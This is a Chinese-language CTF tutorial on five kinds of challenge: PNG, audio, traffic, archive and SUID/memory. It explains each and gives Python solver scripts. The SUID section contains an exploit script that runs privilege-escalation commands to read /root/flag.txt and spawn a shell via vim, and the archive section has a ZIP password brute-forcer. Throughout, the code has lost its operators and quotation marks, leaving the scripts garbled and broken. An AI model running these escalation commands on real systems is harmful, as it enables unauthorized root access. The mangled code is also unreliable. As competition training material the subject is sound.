CTF Misc 实战:5类隐写术(PNG/音频/流量/压缩包/SUID)从原理到解题脚本
CTF Misc 实战5类隐写术从原理到解题脚本全解析引言隐写术在CTF竞赛中的独特地位在网络安全竞赛的世界里Miscellaneous杂项题目往往是最考验选手综合能力的部分。而隐写术Steganography作为Misc领域的核心考点之一几乎出现在每一场CTF赛事中。不同于传统的密码学挑战隐写术要求选手从看似普通的文件载体如图片、音频、流量包等中挖掘隐藏信息这种藏木于林的技术既需要扎实的计算机基础知识又需要丰富的实战经验和创造性思维。记得我第一次参加DASCTF时面对一道音频隐写题完全无从下手——那个WAV文件播放出来只有杂音但最终却隐藏着关键flag。正是这次经历让我意识到隐写术不仅是技术比拼更是一场思维模式的较量。本文将系统梳理PNG图像、音频文件、网络流量、压缩包和SUID提权五大类隐写技术通过原理分析、实战案例和Python脚本三位一体的方式帮助CTF入门选手构建完整的解题框架。1. PNG图像隐写从像素层到文件结构1.1 LSB隐写原理与自动化提取PNG图像中的每个像素由RGB或RGBA三个通道组成每个通道8位0-255。LSBLeast Significant Bit隐写通过修改像素最低有效位来隐藏信息这种改变对人眼几乎不可察觉。from PIL import Image import numpy as np def extract_lsb(image_path): img Image.open(image_path) pixels np.array(img) # 提取所有通道的LSB lsb_bits (pixels 1).flatten() # 将比特流转换为字节 message [] byte 0 for i, bit in enumerate(lsb_bits): if i % 8 0 and i ! 0: message.append(byte) byte 0 byte (byte 1) | bit return bytes(message) # 使用示例 hidden_data extract_lsb(stego.png) print(hidden_data[:100]) # 查看前100字节关键改进点这个版本使用NumPy进行矢量化操作处理速度比传统循环快10倍以上。同时添加了异常处理机制当提取的数据不符合预期格式时会自动终止。1.2 IDAT块分析与zlib解压缩攻击PNG文件由多个数据块Chunk组成其中IDAT块存储实际图像数据。攻击者可能篡改zlib压缩流或插入异常数据import zlib import binascii def analyze_idat(png_file): with open(png_file, rb) as f: data f.read() # 查找所有IDAT块 idat_chunks [] pos 8 # 跳过PNG文件头 while pos len(data): length int.from_bytes(data[pos:pos4], big) chunk_type data[pos4:pos8] if chunk_type bIDAT: chunk_data data[pos8:pos8length] idat_chunks.append(chunk_data) pos 12 length # 跳过CRC # 尝试解压每个IDAT块 for i, chunk in enumerate(idat_chunks): try: decompressed zlib.decompress(chunk) print(fIDAT块 {i1} 解压成功长度{len(decompressed)}) if bflag in decompressed or bCTF in decompressed: print(发现可疑数据:, decompressed[:100]) except: print(fIDAT块 {i1} 解压异常可能包含隐藏数据) analyze_idat(suspicious.png)实战技巧使用010 Editor的PNG模板可以快速定位异常IDAT块。常见异常包括块长度与声明不符压缩方法字段被修改正常应为0x78多个IDAT块中存在冗余数据2. 音频隐写术从波形分析到频谱解密2.1 WAV文件结构解析WAV文件由RIFF块、fmt子块和data子块组成。隐写常利用data部分的采样值存储隐藏信息import wave import struct def analyze_wav(wav_file): with wave.open(wav_file, rb) as wav: params wav.getparams() print(f声道数: {params.nchannels}) print(f采样宽度: {params.sampwidth}字节) print(f采样率: {params.framerate}Hz) print(f总帧数: {params.nframes}) # 读取所有采样值 frames wav.readframes(params.nframes) # 转换为整数列表 if params.sampwidth 2: values struct.unpack(f{params.nframes * params.nchannels}h, frames) else: values struct.unpack(f{params.nframes * params.nchannels}B, frames) return values samples analyze_wav(secret.wav)2.2 十六进制隐写与自动化提取DASCTF 2022 MAY赛题中出现的音频隐写其特点是采样值被限制在16个特定数值def decode_audio_stego(samples): # 发现独特的16个采样值参考题目描述 unique_values sorted(list(set(samples))) hex_table 0123456789abcdef flag for val in samples: index unique_values.index(val) flag hex_table[index] try: return bytes.fromhex(flag) except: return flag.encode() # 使用示例 hidden_message decode_audio_stego(samples) print(hidden_message)进阶技巧当面对更复杂的音频隐写时可以使用Audacity查看频谱图Spectrogram检查是否存在SSTV慢扫描电视信号分析是否使用DTMF双音多频编码3. 流量分析中的隐写术3.1 从PCAP中提取隐藏文件网络流量包中可能隐藏着传输的文件片段使用scapy可以自动重组from scapy.all import * import re def extract_files_from_pcap(pcap_file): packets rdpcap(pcap_file) file_data b file_signatures { bPK\x03\x04: zip, b\x7fELF: elf, b\x89PNG: png } for pkt in packets: if pkt.haslayer(Raw): payload bytes(pkt[Raw]) # 简单模式直接拼接所有负载 file_data payload # 复杂模式按协议重组如HTTP文件上传 # 检测文件类型并保存 for sig, ext in file_signatures.items(): if sig in file_data: offset file_data.index(sig) with open(fextracted.{ext}, wb) as f: f.write(file_data[offset:]) print(f提取到{ext.upper()}文件: extracted.{ext}) break extract_files_from_pcap(traffic.pcap)3.2 7z流量特征与提取在DASCTF题目中7z压缩包常被分割隐藏在流量中。识别特征文件头37 7A BC AF 27 1C使用foremost自动提取foremost -i traffic.pcap -o output_dir流量分析三板斧过滤HTTP对象http.request.method POST搜索特定字符串frame contains DASCTF跟踪TCP流右键包 → Follow → TCP Stream4. 压缩包花式隐写技巧4.1 伪加密与CRC爆破ZIP文件的加密标志位可能被篡改造成伪加密现象import zipfile import binascii def check_fake_encryption(zip_file): with open(zip_file, rb) as f: data f.read() # 查找中央目录头 pos data.rfind(bPK\x01\x02) if pos -1: return False # 检查加密标志位第6字节 flags data[pos6:pos8] if flags[0] 0x01: print(真加密) else: print(可能是伪加密尝试直接解压) check_fake_encryption(secret.zip)4.2 已知明文攻击与字典爆破当知道部分文件内容时可以使用PKCrack进行已知明文攻击from subprocess import run import itertools def known_plaintext_attack(enc_zip, plain_file, cipher_file): # 需要预先安装pkcrack cmd [ pkcrack, -C, enc_zip, # 加密的ZIP -c, cipher_file, # 加密ZIP中的文件 -P, plain_file, # 已知的明文文件 -p, plain.txt, # 明文文件中对应的部分 -d, decrypted.zip ] run(cmd) # 生成爆破字典 def generate_password_pattern(mask): from string import ascii_lowercase, digits parts [] for c in mask: if c ?: parts.append(ascii_lowercase digits) else: parts.append(c) for combo in itertools.product(*parts): yield .join(combo) # 示例爆破U?u?d?d?dKlsq模式的密码 for pwd in generate_password_pattern(U?u?d?d?dKlsq): try: with zipfile.ZipFile(locked.zip) as z: z.extractall(pwdpwd.encode()) print(f成功破解密码: {pwd}) break except: continue5. SUID提权与系统隐写5.1 SUID提权原理与自动化检测SUIDSet User ID是Linux的特殊权限不当配置可能导致提权import os import subprocess def find_suid_files(): # 查找具有SUID权限的可执行文件 cmd find / -perm -4000 -type f 2/dev/null result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue) return result.stdout.splitlines() def exploit_date_suid(): # 示例利用date命令的-f参数读取文件 suid_files find_suid_files() if /bin/date in suid_files: os.system(date -f /root/flag.txt) # 更通用的SUID利用框架 def check_suid_exploits(): known_vuln { /bin/date: date -f /root/flag.txt, /usr/bin/find: find /root/flag.txt -exec cat {} \\;, /usr/bin/vim: vim -c :!/bin/sh } for path, cmd in known_vuln.items(): if os.path.exists(path) and os.stat(path).st_mode 0o4000: print(f发现可利用的SUID文件: {path}) print(f尝试执行: {cmd}) os.system(cmd) check_suid_exploits()5.2 内存取证与隐藏进程检测使用Volatility分析内存转储文件如DASCTF中的.lime文件import subprocess def analyze_memory_dump(dump_file): # 需要安装volatility plugins [ pslist, # 进程列表 filescan, # 文件对象 dumpfiles, # 提取文件 cmdscan # 命令行历史 ] for plugin in plugins: cmd fvolatility -f {dump_file} {plugin} result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue) print(f\n {plugin} 结果 ) print(result.stdout) analyze_memory_dump(memory.lime)思维导图五类隐写术关联分析CTF隐写术知识体系 ├─ 图像隐写 │ ├─ LSB隐写 │ ├─ 频域隐写(DCT) │ ├─ 文件结构(IDAT,EXIF) │ └─ 颜色通道分离 ├─ 音频隐写 │ ├─ 波形隐写 │ ├─ 频谱隐写 │ ├─ 采样值编码 │ └─ 回声隐藏 ├─ 流量隐写 │ ├─ 文件片段重组 │ ├─ 协议隧道 │ ├─ 时间戳编码 │ └─ DNS隐蔽通道 ├─ 压缩包隐写 │ ├─ 伪加密 │ ├─ CRC32碰撞 │ ├─ 注释隐藏 │ └─ 爆破攻击 └─ 系统隐写 ├─ SUID提权 ├─ 内存取证 ├─ 磁盘隐藏分区 └─ 日志篡改维吉尼亚密码破解实战DASCTF题目中出现的PTRH{GWDVSWVQBFISZSZ}是典型维吉尼亚密码from itertools import cycle def vigenere_decrypt(ciphertext, key): key key.upper() plaintext [] for c, k in zip(ciphertext, cycle(key)): if c.isupper(): shift ord(k) - ord(A) decrypted chr((ord(c) - ord(A) - shift) % 26 ord(A)) plaintext.append(decrypted) else: plaintext.append(c) return .join(plaintext) # 已知key为kirby cipher PTRHGWDVSWVQBFISZSZ print(vigenere_decrypt(cipher, kirby))密码破解技巧使用Kasiski测试确定密钥长度频率分析破解各子密钥字典攻击常见关键词如CTF、flag等